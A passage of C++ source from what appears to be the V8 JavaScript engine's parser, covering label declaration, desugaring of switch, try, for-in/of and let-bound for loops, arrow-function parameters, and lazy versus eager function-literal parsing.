class_token_pos); proxy->var()->set_initializer_position(end_pos); if (names) names->Add(variable_name, zone()); Assignment* assignment = factory()->NewAssignment(Token::INIT, proxy, value, class_token_pos); return IgnoreCompletion( factory()->NewExpressionStatement(assignment, kNoSourcePosition)); } Statement* Parser::DeclareNative(const AstRawString* name, int pos) { // Make sure that the function containing the native declaration // isn't lazily compiled. The extension structures are only // accessible while parsing the first time not when reparsing // because of lazy compilation. GetClosureScope()->ForceEagerCompilation(); // TODO(1240846): It's weird that native function declarations are // introduced dynamically when we meet their declarations, whereas // other functions are set up when entering the surrounding scope. VariableProxy* proxy = DeclareBoundVariable(name, VariableMode::kVar, pos); NativeFunctionLiteral* lit = factory()->NewNativeFunctionLiteral(name, extension_, kNoSourcePosition); return factory()->NewExpressionStatement( factory()->NewAssignment(Token::INIT, proxy, lit, kNoSourcePosition), pos); } void Parser::DeclareLabel(ZonePtrList<const AstRawString>** labels, ZonePtrList<const AstRawString>** own_labels, VariableProxy* var) { DCHECK(IsIdentifier(var)); const AstRawString* label = var->raw_name(); // TODO(1240780): We don't check for redeclaration of labels // during preparsing since keeping track of the set of active // labels requires nontrivial changes to the way scopes are // structured. However, these are probably changes we want to // make later anyway so we should go back and fix this then. if (ContainsLabel(*labels, label) || TargetStackContainsLabel(label)) { ReportMessage(MessageTemplate::kLabelRedeclaration, label); return; } // Add {label} to both {labels} and {own_labels}. if (*labels == nullptr) { DCHECK_NULL(*own_labels); *labels = new (zone()) ZonePtrList<const AstRawString>(1, zone()); *own_labels = new (zone()) ZonePtrList<const AstRawString>(1, zone()); } else { if (*own_labels == nullptr) { *own_labels = new (zone()) ZonePtrList<const AstRawString>(1, zone()); } } (*labels)->Add(label, zone()); (*own_labels)->Add(label, zone()); // Remove the "ghost" variable that turned out to be a label // from the top scope. This way, we don't try to resolve it // during the scope processing. scope()->DeleteUnresolved(var); } bool Parser::ContainsLabel(ZonePtrList<const AstRawString>* labels, const AstRawString* label) { DCHECK_NOT_NULL(label); if (labels != nullptr) { for (int i = labels->length(); i-- > 0;) { if (labels->at(i) == label) return true; } } return false; } Block* Parser::IgnoreCompletion(Statement* statement) { Block* block = factory()->NewBlock(1, true); block->statements()->Add(statement, zone()); return block; } Expression* Parser::RewriteReturn(Expression* return_value, int pos) { if (IsDerivedConstructor(function_state_->kind())) { // For subclass constructors we need to return this in case of undefined; // other primitive values trigger an exception in the ConstructStub. // // return expr; // // Is rewritten as: // // return (temp = expr) === undefined ? this : temp; // temp = expr Variable* temp = NewTemporary(ast_value_factory()->empty_string()); Assignment* assign = factory()->NewAssignment( Token::ASSIGN, factory()->NewVariableProxy(temp), return_value, pos); // temp === undefined Expression* is_undefined = factory()->NewCompareOperation( Token::EQ_STRICT, assign, factory()->NewUndefinedLiteral(kNoSourcePosition), pos); // is_undefined ? this : temp return_value = factory()->NewConditional(is_undefined, ThisExpression(pos), factory()->NewVariableProxy(temp), pos); } return return_value; } Statement* Parser::RewriteSwitchStatement(SwitchStatement* switch_statement, Scope* scope) { // In order to get the CaseClauses to execute in their own lexical scope, // but without requiring downstream code to have special scope handling // code for switch statements, desugar into blocks as follows: // { // To group the statements--harmless to evaluate Expression in scope // .tag_variable = Expression; // { // To give CaseClauses a scope // switch (.tag_variable) { CaseClause* } // } // } DCHECK_NOT_NULL(scope); DCHECK(scope->is_block_scope()); DCHECK_GE(switch_statement->position(), scope->start_position()); DCHECK_LT(switch_statement->position(), scope->end_position()); Block* switch_block = factory()->NewBlock(2, false); Expression* tag = switch_statement->tag(); Variable* tag_variable = NewTemporary(ast_value_factory()->dot_switch_tag_string()); Assignment* tag_assign = factory()->NewAssignment( Token::ASSIGN, factory()->NewVariableProxy(tag_variable), tag, tag->position()); // Wrap with IgnoreCompletion so the tag isn't returned as the completion // value, in case the switch statements don't have a value. Statement* tag_statement = IgnoreCompletion( factory()->NewExpressionStatement(tag_assign, kNoSourcePosition)); switch_block->statements()->Add(tag_statement, zone()); switch_statement->set_tag(factory()->NewVariableProxy(tag_variable)); Block* cases_block = factory()->NewBlock(1, false); cases_block->statements()->Add(switch_statement, zone()); cases_block->set_scope(scope); switch_block->statements()->Add(cases_block, zone()); return switch_block; } void Parser::InitializeVariables( ScopedPtrList<Statement>* statements, VariableKind kind, const DeclarationParsingResult::Declaration* declaration) { if (has_error()) return; DCHECK_NOT_NULL(declaration->initializer); int pos = declaration->value_beg_pos; if (pos == kNoSourcePosition) { pos = declaration->initializer->position(); } Assignment* assignment = factory()->NewAssignment( Token::INIT, declaration->pattern, declaration->initializer, pos); statements->Add(factory()->NewExpressionStatement(assignment, pos)); } Block* Parser::RewriteCatchPattern(CatchInfo* catch_info) { DCHECK_NOT_NULL(catch_info->pattern); DeclarationParsingResult::Declaration decl( catch_info->pattern, factory()->NewVariableProxy(catch_info->variable)); ScopedPtrList<Statement> init_statements(pointer_buffer()); InitializeVariables(&init_statements, NORMAL_VARIABLE, &decl); return factory()->NewBlock(true, init_statements); } void Parser::ReportVarRedeclarationIn(const AstRawString* name, Scope* scope) { for (Declaration* decl : *scope->declarations()) { if (decl->var()->raw_name() == name) { int position = decl->position(); Scanner::Location location = position == kNoSourcePosition ? Scanner::Location::invalid() : Scanner::Location(position, position + name->length()); ReportMessageAt(location, MessageTemplate::kVarRedeclaration, name); return; } } UNREACHABLE(); } Statement* Parser::RewriteTryStatement(Block* try_block, Block* catch_block, const SourceRange& catch_range, Block* finally_block, const SourceRange& finally_range, const CatchInfo& catch_info, int pos) { // Simplify the AST nodes by converting: // 'try B0 catch B1 finally B2' // to: // 'try { try B0 catch B1 } finally B2' if (catch_block != nullptr && finally_block != nullptr) { // If we have both, create an inner try/catch. TryCatchStatement* statement; statement = factory()->NewTryCatchStatement(try_block, catch_info.scope, catch_block, kNoSourcePosition); RecordTryCatchStatementSourceRange(statement, catch_range); try_block = factory()->NewBlock(1, false); try_block->statements()->Add(statement, zone()); catch_block = nullptr; // Clear to indicate it's been handled. } if (catch_block != nullptr) { DCHECK_NULL(finally_block); TryCatchStatement* stmt = factory()->NewTryCatchStatement( try_block, catch_info.scope, catch_block, pos); RecordTryCatchStatementSourceRange(stmt, catch_range); return stmt; } else { DCHECK_NOT_NULL(finally_block); TryFinallyStatement* stmt = factory()->NewTryFinallyStatement(try_block, finally_block, pos); RecordTryFinallyStatementSourceRange(stmt, finally_range); return stmt; } } void Parser::ParseAndRewriteGeneratorFunctionBody( int pos, FunctionKind kind, ScopedPtrList<Statement>* body) { // For ES6 Generators, we just prepend the initial yield. Expression* initial_yield = BuildInitialYield(pos, kind); body->Add( factory()->NewExpressionStatement(initial_yield, kNoSourcePosition)); ParseStatementList(body, Token::RBRACE); } void Parser::ParseAndRewriteAsyncGeneratorFunctionBody( int pos, FunctionKind kind, ScopedPtrList<Statement>* body) { // For ES2017 Async Generators, we produce: // // try { // InitialYield; // ...body...; // return undefined; // See comment below // } catch (.catch) { // %AsyncGeneratorReject(generator, .catch); // } finally { // %_GeneratorClose(generator); // } // // - InitialYield yields the actual generator object. // - Any return statement inside the body will have its argument wrapped // in an iterator result object with a "done" property set to `true`. // - If the generator terminates for whatever reason, we must close it. // Hence the finally clause. // - BytecodeGenerator performs special handling for ReturnStatements in // async generator functions, resolving the appropriate Promise with an // "done" iterator result object containing a Promise-unwrapped value. DCHECK(IsAsyncGeneratorFunction(kind)); Block* try_block; { ScopedPtrList<Statement> statements(pointer_buffer()); Expression* initial_yield = BuildInitialYield(pos, kind); statements.Add( factory()->NewExpressionStatement(initial_yield, kNoSourcePosition)); ParseStatementList(&statements, Token::RBRACE); // Don't create iterator result for async generators, as the resume methods // will create it. // TODO(leszeks): This will create another suspend point, which is // unnecessary if there is already an unconditional return in the body. Statement* final_return = BuildReturnStatement( factory()->NewUndefinedLiteral(kNoSourcePosition), kNoSourcePosition); statements.Add(final_return); try_block = factory()->NewBlock(false, statements); } // For AsyncGenerators, a top-level catch block will reject the Promise. Scope* catch_scope = NewHiddenCatchScope(); Block* catch_block; { ScopedPtrList<Expression> reject_args(pointer_buffer()); reject_args.Add(factory()->NewVariableProxy( function_state_->scope()->generator_object_var())); reject_args.Add(factory()->NewVariableProxy(catch_scope->catch_variable())); Expression* reject_call = factory()->NewCallRuntime( Runtime::kInlineAsyncGeneratorReject, reject_args, kNoSourcePosition); catch_block = IgnoreCompletion( factory()->NewReturnStatement(reject_call, kNoSourcePosition)); } { ScopedPtrList<Statement> statements(pointer_buffer()); TryStatement* try_catch = factory()->NewTryCatchStatementForAsyncAwait( try_block, catch_scope, catch_block, kNoSourcePosition); statements.Add(try_catch); try_block = factory()->NewBlock(false, statements); } Expression* close_call; { ScopedPtrList<Expression> close_args(pointer_buffer()); VariableProxy* call_proxy = factory()->NewVariableProxy( function_state_->scope()->generator_object_var()); close_args.Add(call_proxy); close_call = factory()->NewCallRuntime(Runtime::kInlineGeneratorClose, close_args, kNoSourcePosition); } Block* finally_block; { ScopedPtrList<Statement> statements(pointer_buffer()); statements.Add( factory()->NewExpressionStatement(close_call, kNoSourcePosition)); finally_block = factory()->NewBlock(false, statements); } body->Add(factory()->NewTryFinallyStatement(try_block, finally_block, kNoSourcePosition)); } void Parser::DeclareFunctionNameVar(const AstRawString* function_name, FunctionLiteral::FunctionType function_type, DeclarationScope* function_scope) { if (function_type == FunctionLiteral::kNamedExpression && function_scope->LookupLocal(function_name) == nullptr) { DCHECK_EQ(function_scope, scope()); function_scope->DeclareFunctionVar(function_name); } } // Special case for legacy for // // for (var x = initializer in enumerable) body // // An initialization block of the form // // { // x = initializer; // } // // is returned in this case. It has reserved space for two statements, // so that (later on during parsing), the equivalent of // // for (x in enumerable) body // // is added as a second statement to it. Block* Parser::RewriteForVarInLegacy(const ForInfo& for_info) { const DeclarationParsingResult::Declaration& decl = for_info.parsing_result.declarations[0]; if (!IsLexicalVariableMode(for_info.parsing_result.descriptor.mode) && decl.initializer != nullptr && decl.pattern->IsVariableProxy()) { ++use_counts_[v8::Isolate::kForInInitializer]; const AstRawString* name = decl.pattern->AsVariableProxy()->raw_name(); VariableProxy* single_var = NewUnresolved(name); Block* init_block = factory()->NewBlock(2, true); init_block->statements()->Add( factory()->NewExpressionStatement( factory()->NewAssignment(Token::ASSIGN, single_var, decl.initializer, decl.value_beg_pos), kNoSourcePosition), zone()); return init_block; } return nullptr; } // Rewrite a for-in/of statement of the form // // for (let/const/var x in/of e) b // // into // // { // var temp; // for (temp in/of e) { // let/const/var x = temp; // b; // } // let x; // for TDZ // } void Parser::DesugarBindingInForEachStatement(ForInfo* for_info, Block** body_block, Expression** each_variable) { DCHECK_EQ(1, for_info->parsing_result.declarations.size()); DeclarationParsingResult::Declaration& decl = for_info->parsing_result.declarations[0]; Variable* temp = NewTemporary(ast_value_factory()->dot_for_string()); ScopedPtrList<Statement> each_initialization_statements(pointer_buffer()); DCHECK_IMPLIES(!has_error(), decl.pattern != nullptr); decl.initializer = factory()->NewVariableProxy(temp, for_info->position); InitializeVariables(&each_initialization_statements, NORMAL_VARIABLE, &decl); *body_block = factory()->NewBlock(3, false); (*body_block) ->statements() ->Add(factory()->NewBlock(true, each_initialization_statements), zone()); *each_variable = factory()->NewVariableProxy(temp, for_info->position); } // Create a TDZ for any lexically-bound names in for in/of statements. Block* Parser::CreateForEachStatementTDZ(Block* init_block, const ForInfo& for_info) { if (IsLexicalVariableMode(for_info.parsing_result.descriptor.mode)) { DCHECK_NULL(init_block); init_block = factory()->NewBlock(1, false); for (int i = 0; i < for_info.bound_names.length(); ++i) { // TODO(adamk): This needs to be some sort of special // INTERNAL variable that's invisible to the debugger // but visible to everything else. VariableProxy* tdz_proxy = DeclareBoundVariable( for_info.bound_names[i], VariableMode::kLet, kNoSourcePosition); tdz_proxy->var()->set_initializer_position(position()); } } return init_block; } Statement* Parser::DesugarLexicalBindingsInForStatement( ForStatement* loop, Statement* init, Expression* cond, Statement* next, Statement* body, Scope* inner_scope, const ForInfo& for_info) { // ES6 13.7.4.8 specifies that on each loop iteration the let variables are // copied into a new environment. Moreover, the "next" statement must be // evaluated not in the environment of the just completed iteration but in // that of the upcoming one. We achieve this with the following desugaring. // Extra care is needed to preserve the completion value of the original loop. // // We are given a for statement of the form // // labels: for (let/const x = i; cond; next) body // // and rewrite it as follows. Here we write {{ ... }} for init-blocks, ie., // blocks whose ignore_completion_value_ flag is set. // // { // let/const x = i; // temp_x = x; // first = 1; // undefined; // outer: for (;;) { // let/const x = temp_x; // {{ if (first == 1) { // first = 0; // } else { // next; // } // flag = 1; // if (!cond) break; // }} // labels: for (; flag == 1; flag = 0, temp_x = x) { // body // } // {{ if (flag == 1) // Body used break. // break; // }} // } // } DCHECK_GT(for_info.bound_names.length(), 0); ZonePtrList<Variable> temps(for_info.bound_names.length(), zone()); Block* outer_block = factory()->NewBlock(for_info.bound_names.length() + 4, false); // Add statement: let/const x = i. outer_block->statements()->Add(init, zone()); const AstRawString* temp_name = ast_value_factory()->dot_for_string(); // For each lexical variable x: // make statement: temp_x = x. for (int i = 0; i < for_info.bound_names.length(); i++) { VariableProxy* proxy = NewUnresolved(for_info.bound_names[i]); Variable* temp = NewTemporary(temp_name); VariableProxy* temp_proxy = factory()->NewVariableProxy(temp); Assignment* assignment = factory()->NewAssignment(Token::ASSIGN, temp_proxy, proxy, kNoSourcePosition); Statement* assignment_statement = factory()->NewExpressionStatement(assignment, kNoSourcePosition); outer_block->statements()->Add(assignment_statement, zone()); temps.Add(temp, zone()); } Variable* first = nullptr; // Make statement: first = 1. if (next) { first = NewTemporary(temp_name); VariableProxy* first_proxy = factory()->NewVariableProxy(first); Expression* const1 = factory()->NewSmiLiteral(1, kNoSourcePosition); Assignment* assignment = factory()->NewAssignment( Token::ASSIGN, first_proxy, const1, kNoSourcePosition); Statement* assignment_statement = factory()->NewExpressionStatement(assignment, kNoSourcePosition); outer_block->statements()->Add(assignment_statement, zone()); } // make statement: undefined; outer_block->statements()->Add( factory()->NewExpressionStatement( factory()->NewUndefinedLiteral(kNoSourcePosition), kNoSourcePosition), zone()); // Make statement: outer: for (;;) // Note that we don't actually create the label, or set this loop up as an // explicit break target, instead handing it directly to those nodes that // need to know about it. This should be safe because we don't run any code // in this function that looks up break targets. ForStatement* outer_loop = factory()->NewForStatement(nullptr, nullptr, kNoSourcePosition); outer_block->statements()->Add(outer_loop, zone()); outer_block->set_scope(scope()); Block* inner_block = factory()->NewBlock(3, false); { BlockState block_state(&scope_, inner_scope); Block* ignore_completion_block = factory()->NewBlock(for_info.bound_names.length() + 3, true); ZonePtrList<Variable> inner_vars(for_info.bound_names.length(), zone()); // For each let variable x: // make statement: let/const x = temp_x. for (int i = 0; i < for_info.bound_names.length(); i++) { VariableProxy* proxy = DeclareBoundVariable( for_info.bound_names[i], for_info.parsing_result.descriptor.mode, kNoSourcePosition); inner_vars.Add(proxy->var(), zone()); VariableProxy* temp_proxy = factory()->NewVariableProxy(temps.at(i)); Assignment* assignment = factory()->NewAssignment( Token::INIT, proxy, temp_proxy, kNoSourcePosition); Statement* assignment_statement = factory()->NewExpressionStatement(assignment, kNoSourcePosition); int declaration_pos = for_info.parsing_result.descriptor.declaration_pos; DCHECK_NE(declaration_pos, kNoSourcePosition); proxy->var()->set_initializer_position(declaration_pos); ignore_completion_block->statements()->Add(assignment_statement, zone()); } // Make statement: if (first == 1) { first = 0; } else { next; } if (next) { DCHECK(first); Expression* compare = nullptr; // Make compare expression: first == 1. { Expression* const1 = factory()->NewSmiLiteral(1, kNoSourcePosition); VariableProxy* first_proxy = factory()->NewVariableProxy(first); compare = factory()->NewCompareOperation(Token::EQ, first_proxy, const1, kNoSourcePosition); } Statement* clear_first = nullptr; // Make statement: first = 0. { VariableProxy* first_proxy = factory()->NewVariableProxy(first); Expression* const0 = factory()->NewSmiLiteral(0, kNoSourcePosition); Assignment* assignment = factory()->NewAssignment( Token::ASSIGN, first_proxy, const0, kNoSourcePosition); clear_first = factory()->NewExpressionStatement(assignment, kNoSourcePosition); } Statement* clear_first_or_next = factory()->NewIfStatement( compare, clear_first, next, kNoSourcePosition); ignore_completion_block->statements()->Add(clear_first_or_next, zone()); } Variable* flag = NewTemporary(temp_name); // Make statement: flag = 1. { VariableProxy* flag_proxy = factory()->NewVariableProxy(flag); Expression* const1 = factory()->NewSmiLiteral(1, kNoSourcePosition); Assignment* assignment = factory()->NewAssignment( Token::ASSIGN, flag_proxy, const1, kNoSourcePosition); Statement* assignment_statement = factory()->NewExpressionStatement(assignment, kNoSourcePosition); ignore_completion_block->statements()->Add(assignment_statement, zone()); } // Make statement: if (!cond) break. if (cond) { Statement* stop = factory()->NewBreakStatement(outer_loop, kNoSourcePosition); Statement* noop = factory()->EmptyStatement(); ignore_completion_block->statements()->Add( factory()->NewIfStatement(cond, noop, stop, cond->position()), zone()); } inner_block->statements()->Add(ignore_completion_block, zone()); // Make cond expression for main loop: flag == 1. Expression* flag_cond = nullptr; { Expression* const1 = factory()->NewSmiLiteral(1, kNoSourcePosition); VariableProxy* flag_proxy = factory()->NewVariableProxy(flag); flag_cond = factory()->NewCompareOperation(Token::EQ, flag_proxy, const1, kNoSourcePosition); } // Create chain of expressions "flag = 0, temp_x = x, ..." Statement* compound_next_statement = nullptr; { Expression* compound_next = nullptr; // Make expression: flag = 0. { VariableProxy* flag_proxy = factory()->NewVariableProxy(flag); Expression* const0 = factory()->NewSmiLiteral(0, kNoSourcePosition); compound_next = factory()->NewAssignment(Token::ASSIGN, flag_proxy, const0, kNoSourcePosition); } // Make the comma-separated list of temp_x = x assignments. int inner_var_proxy_pos = scanner()->location().beg_pos; for (int i = 0; i < for_info.bound_names.length(); i++) { VariableProxy* temp_proxy = factory()->NewVariableProxy(temps.at(i)); VariableProxy* proxy = factory()->NewVariableProxy(inner_vars.at(i), inner_var_proxy_pos); Assignment* assignment = factory()->NewAssignment( Token::ASSIGN, temp_proxy, proxy, kNoSourcePosition); compound_next = factory()->NewBinaryOperation( Token::COMMA, compound_next, assignment, kNoSourcePosition); } compound_next_statement = factory()->NewExpressionStatement(compound_next, kNoSourcePosition); } // Make statement: labels: for (; flag == 1; flag = 0, temp_x = x) // Note that we re-use the original loop node, which retains its labels // and ensures that any break or continue statements in body point to // the right place. loop->Initialize(nullptr, flag_cond, compound_next_statement, body); inner_block->statements()->Add(loop, zone()); // Make statement: {{if (flag == 1) break;}} { Expression* compare = nullptr; // Make compare expresion: flag == 1. { Expression* const1 = factory()->NewSmiLiteral(1, kNoSourcePosition); VariableProxy* flag_proxy = factory()->NewVariableProxy(flag); compare = factory()->NewCompareOperation(Token::EQ, flag_proxy, const1, kNoSourcePosition); } Statement* stop = factory()->NewBreakStatement(outer_loop, kNoSourcePosition); Statement* empty = factory()->EmptyStatement(); Statement* if_flag_break = factory()->NewIfStatement(compare, stop, empty, kNoSourcePosition); inner_block->statements()->Add(IgnoreCompletion(if_flag_break), zone()); } inner_block->set_scope(inner_scope); } outer_loop->Initialize(nullptr, nullptr, nullptr, inner_block); return outer_block; } void ParserFormalParameters::ValidateDuplicate(Parser* parser) const { if (has_duplicate()) { parser->ReportMessageAt(duplicate_loc, MessageTemplate::kParamDupe); } } void ParserFormalParameters::ValidateStrictMode(Parser* parser) const { if (strict_error_loc.IsValid()) { parser->ReportMessageAt(strict_error_loc, strict_error_message); } } void Parser::AddArrowFunctionFormalParameters( ParserFormalParameters* parameters, Expression* expr, int end_pos) { // ArrowFunctionFormals :: // Nary(Token::COMMA, VariableProxy*, Tail) // Binary(Token::COMMA, NonTailArrowFunctionFormals, Tail) // Tail // NonTailArrowFunctionFormals :: // Binary(Token::COMMA, NonTailArrowFunctionFormals, VariableProxy) // VariableProxy // Tail :: // VariableProxy // Spread(VariableProxy) // // We need to visit the parameters in left-to-right order // // For the Nary case, we simply visit the parameters in a loop. if (expr->IsNaryOperation()) { NaryOperation* nary = expr->AsNaryOperation(); // The classifier has already run, so we know that the expression is a valid // arrow function formals production. DCHECK_EQ(nary->op(), Token::COMMA); // Each op position is the end position of the *previous* expr, with the // second (i.e. first "subsequent") op position being the end position of // the first child expression. Expression* next = nary->first(); for (size_t i = 0; i < nary->subsequent_length(); ++i) { AddArrowFunctionFormalParameters(parameters, next, nary->subsequent_op_position(i)); next = nary->subsequent(i); } AddArrowFunctionFormalParameters(parameters, next, end_pos); return; } // For the binary case, we recurse on the left-hand side of binary comma // expressions. if (expr->IsBinaryOperation()) { BinaryOperation* binop = expr->AsBinaryOperation(); // The classifier has already run, so we know that the expression is a valid // arrow function formals production. DCHECK_EQ(binop->op(), Token::COMMA); Expression* left = binop->left(); Expression* right = binop->right(); int comma_pos = binop->position(); AddArrowFunctionFormalParameters(parameters, left, comma_pos); // LHS of comma expression should be unparenthesized. expr = right; } // Only the right-most expression may be a rest parameter. DCHECK(!parameters->has_rest); bool is_rest = expr->IsSpread(); if (is_rest) { expr = expr->AsSpread()->expression(); parameters->has_rest = true; } DCHECK_IMPLIES(parameters->is_simple, !is_rest); DCHECK_IMPLIES(parameters->is_simple, expr->IsVariableProxy()); Expression* initializer = nullptr; if (expr->IsAssignment()) { Assignment* assignment = expr->AsAssignment(); DCHECK(!assignment->IsCompoundAssignment()); initializer = assignment->value(); expr = assignment->target(); } AddFormalParameter(parameters, expr, initializer, end_pos, is_rest); } void Parser::DeclareArrowFunctionFormalParameters( ParserFormalParameters* parameters, Expression* expr, const Scanner::Location& params_loc) { if (expr->IsEmptyParentheses() || has_error()) return; AddArrowFunctionFormalParameters(parameters, expr, params_loc.end_pos); if (parameters->arity > Code::kMaxArguments) { ReportMessageAt(params_loc, MessageTemplate::kMalformedArrowFunParamList); return; } DeclareFormalParameters(parameters); DCHECK_IMPLIES(parameters->is_simple, parameters->scope->has_simple_parameters()); } void Parser::PrepareGeneratorVariables() { // Calling a generator returns a generator object. That object is stored // in a temporary variable, a definition that is used by "yield" // expressions. function_state_->scope()->DeclareGeneratorObjectVar( ast_value_factory()->dot_generator_object_string()); } FunctionLiteral* Parser::ParseFunctionLiteral( const AstRawString* function_name, Scanner::Location function_name_location, FunctionNameValidity function_name_validity, FunctionKind kind, int function_token_pos, FunctionLiteral::FunctionType function_type, LanguageMode language_mode, ZonePtrList<const AstRawString>* arguments_for_wrapped_function) { // Function :: // '(' FormalParameterList? ')' '{' FunctionBody '}' // // Getter :: // '(' ')' '{' FunctionBody '}' // // Setter :: // '(' PropertySetParameterList ')' '{' FunctionBody '}' bool is_wrapped = function_type == FunctionLiteral::kWrapped; DCHECK_EQ(is_wrapped, arguments_for_wrapped_function != nullptr); int pos = function_token_pos == kNoSourcePosition ? peek_position() : function_token_pos; DCHECK_NE(kNoSourcePosition, pos); // Anonymous functions were passed either the empty symbol or a null // handle as the function name. Remember if we were passed a non-empty // handle to decide whether to invoke function name inference. bool should_infer_name = function_name == nullptr; // We want a non-null handle as the function name by default. We will handle // the "function does not have a shared name" case later. if (should_infer_name) { function_name = ast_value_factory()->empty_string(); } FunctionLiteral::EagerCompileHint eager_compile_hint = function_state_->next_function_is_likely_called() || is_wrapped ? FunctionLiteral::kShouldEagerCompile : default_eager_compile_hint(); // Determine if the function can be parsed lazily. Lazy parsing is // different from lazy compilation; we need to parse more eagerly than we // compile. // We can only parse lazily if we also compile lazily. The heuristics for lazy // compilation are: // - It must not have been prohibited by the caller to Parse (some callers // need a full AST). // - The outer scope must allow lazy compilation of inner functions. // - The function mustn't be a function expression with an open parenthesis // before; we consider that a hint that the function will be called // immediately, and it would be a waste of time to make it lazily // compiled. // These are all things we can know at this point, without looking at the // function itself. // We separate between lazy parsing top level functions and lazy parsing inner // functions, because the latter needs to do more work. In particular, we need // to track unresolved variables to distinguish between these cases: // (function foo() { // bar = function() { return 1; } // })(); // and // (function foo() { // var a = 1; // bar = function() { return a; } // })(); // Now foo will be parsed eagerly and compiled eagerly (optimization: assume // parenthesis before the function means that it will be called // immediately). bar can be parsed lazily, but we need to parse it in a mode // that tracks unresolved variables. DCHECK_IMPLIES(parse_lazily(), info()->allow_lazy_compile()); DCHECK_IMPLIES(parse_lazily(), has_error() || allow_lazy_); DCHECK_IMPLIES(parse_lazily(), extension_ == nullptr); const bool is_lazy = eager_compile_hint == FunctionLiteral::kShouldLazyCompile; const bool is_top_level = AllowsLazyParsingWithoutUnresolvedVariables(); const bool is_eager_top_level_function = !is_lazy && is_top_level; const bool is_lazy_top_level_function = is_lazy && is_top_level; const bool is_lazy_inner_function = is_lazy && !is_top_level; RuntimeCallTimerScope runtime_timer( runtime_call_stats_, parsing_on_main_thread_ ? RuntimeCallCounterId::kParseFunctionLiteral : RuntimeCallCounterId::kParseBackgroundFunctionLiteral); base::ElapsedTimer timer; if (V8_UNLIKELY(FLAG_log_function_events)) timer.Start(); // Determine whether we can still lazy parse the inner function. // The preconditions are: // - Lazy compilation has to be enabled. // - Neither V8 natives nor native function declarations can be allowed, // since parsing one would retroactively force the function to be // eagerly compiled. // - The invoker of this parser can't depend on the AST being eagerly // built (either because the function is about to be compiled, or // because the AST is going to be inspected for some reason). // - Because of the above, we can't be attempting to parse a // FunctionExpression; even without enclosing parentheses it might be // immediately invoked. // - The function literal shouldn't be hinted to eagerly compile. // Inner functions will be parsed using a temporary Zone. After parsing, we // will migrate unresolved variable into a Scope in the main Zone. const bool should_preparse_inner = parse_lazily() && is_lazy_inner_function; // If parallel compile tasks are enabled, and the function is an eager // top level function, then we can pre-parse the function and parse / compile // in a parallel task on a worker thread. bool should_post_parallel_task = parse_lazily() && is_eager_top_level_function && FLAG_parallel_compile_tasks && info()->parallel_tasks() && scanner()->stream()->can_be_cloned_for_parallel_access(); // This may be modified later to reflect preparsing decision taken bool should_preparse = (parse_lazily() && is_lazy_top_level_function) || should_preparse_inner || should_post_parallel_task; ScopedPtrList<Statement> body(pointer_buffer()); int expected_property_count = -1; int suspend_count = -1; int num_parameters = -1; int function_length = -1; bool has_duplicate_parameters = false; int function_literal_id = GetNextFunctionLiteralId(); ProducedPreparseData* produced_preparse_data = nullptr; // This Scope lives in the main zone. We'll migrate data into that zone later. Zone* parse_zone = should_preparse ? &preparser_zone_ : zone(); DeclarationScope* scope = NewFunctionScope(kind, parse_zone); SetLanguageMode(scope, language_mode); #ifdef DEBUG scope->SetScopeName(function_name); #endif if (!is_wrapped && V8_UNLIKELY(!Check(Token::LPAREN))) { ReportUnexpectedToken(Next()); return nullptr; } scope->set_start_position(position()); // Eager or lazy parse? If is_lazy_top_level_function, we'll parse // lazily. We'll call SkipFunction, which may decide to // abort lazy parsing if it suspects that wasn't a good idea. If so (in // which case the parser is expected to have backtracked), or if we didn't // try to lazy parse in the first place, we'll have to parse eagerly. bool did_preparse_successfully = should_preparse && SkipFunction(function_name, kind, function_type, scope, &num_parameters, &produced_preparse_data); if (!did_preparse_successfully) { // If skipping aborted, it rewound the scanner until before the LPAREN. // Consume it in that case. if (should_preparse) Consume(Token::LPAREN); should_post_parallel_task = false; ParseFunction(&body, function_name, pos, kind, function_type, scope, &num_parameters, &function_length, &has_duplicate_parameters, &expected_property_count, &suspend_count, arguments_for_wrapped_function); } if (V8_UNLIKELY(FLAG_log_function_events)) { double ms = timer.Elapsed().InMillisecondsF(); const char* event_name = should_preparse ? (is_top_level ? "preparse-no-resolution" : "preparse-resolution") : "full-parse"; logger_->FunctionEvent( event_name, script_id(), ms, scope->start_position(), scope->end_position(), reinterpret_cast<const char*>(function_name->raw_data()), function_name->byte_length()); } if (V8_UNLIKELY(FLAG_runtime_stats) && did_preparse_successfully) { const RuntimeCallCounterId counters[2] = { RuntimeCallCounterId::kPreParseBackgroundWithVariableResolution, RuntimeCallCounterId::kPreParseWithVariableResolution}; if (runtime_call_stats_) { runtime_call_stats_->CorrectCurrentCounterId( counters[parsing_on_main_thread_]); } } // Validate function name. We can do this only after parsing the function, // since the function can declare itself strict. language_mode = scope->language_mode(); CheckFunctionName(language_mode, function_name, function_name_validity, function_name_location); if (is_strict(language_mode)) { CheckStrictOctalLiteral(scope->start_position(), scope->end_position()); } FunctionLiteral::ParameterFlag duplicate_parameters = has_duplicate_parameters ? FunctionLiteral::kHasDuplicateParameters : FunctionLiteral::kNoDuplicateParameters; // Note that the FunctionLiteral needs to be created in the main Zone again. FunctionLiteral* function_literal = factory()->NewFunctionLiteral( function_name, scope, body, expected_property_count, num_parameters, function_length, duplicate_parameters, function_type, eager_compile_hint, pos, true, function_literal_id, produced_preparse_data); function_literal->set_function_token_position(function_token_pos); function_literal->set_suspend_count(suspend_count); if (should_post_parallel_task) { // Start a parallel parse / compile task on the compiler dispatcher. info()->parallel_tasks()->Enqueue(info(), function_name, function_literal); } if (should_infer_name) { fni_.AddFunction(function_literal); } return function_literal; } bool Parser::SkipFunction(const AstRawString* function_name, FunctionKind kind, FunctionLiteral::FunctionType function_type, DeclarationScope* function_scope, int* num_parameters, ProducedPreparseData** produced_preparse_data) { FunctionState function_state(&function_state_, &scope_, function_scope); function_scope->set_zone(&preparser_zone_); DCHECK_NE(kNoSourcePosition, function_scope->start_position()); DCHECK_EQ(kNoSourcePosition, parameters_end_pos_); DCHECK_IMPLIES(IsArrowFunction(kind), scanner()->current_token() == Token::ARROW); // FIXME(marja): There are 2 ways to skip functions now. Unify them. if (consumed_preparse_data_) { int end_position; LanguageMode language_mode; int num_inner_functions; bool uses_super_property; if (stack_overflow()) return true; *produced_preparse_data = consumed_preparse_data_->GetDataForSkippableFunction( main_zone(), function_scope->start_position(), &end_position, num_parameters, &num_inner_functions, &uses_super_property, &language_mode); function_scope->outer_scope()->SetMustUsePreparseData(); function_scope->set_is_skipped_function(true); function_scope->set_end_position(end_position); scanner()->SeekForward(end_position - 1); Expect(Token::RBRACE); SetLanguageMode(function_scope, language_mode); if (uses_super_property) { function_scope->RecordSuperPropertyUsage(); } 